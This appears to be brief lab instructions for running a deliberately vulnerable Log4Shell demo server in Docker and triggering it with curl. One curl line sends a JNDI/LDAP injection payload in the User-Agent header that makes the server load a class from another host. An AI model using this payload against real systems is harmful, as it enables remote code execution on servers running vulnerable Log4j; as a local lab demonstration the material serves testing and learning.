The server itself: https://github.com/Kirill89/log4shell-vulnerable-server
Java 8 is required.
You need to run the vulnerable server in the docker container first.
./gradlew app:run
curl http://localhost:8000
curl --user-agent '${jndi:ldap://host.docker.internal:9999/Evil}' http://localhost:8000
curl http://localhost:8000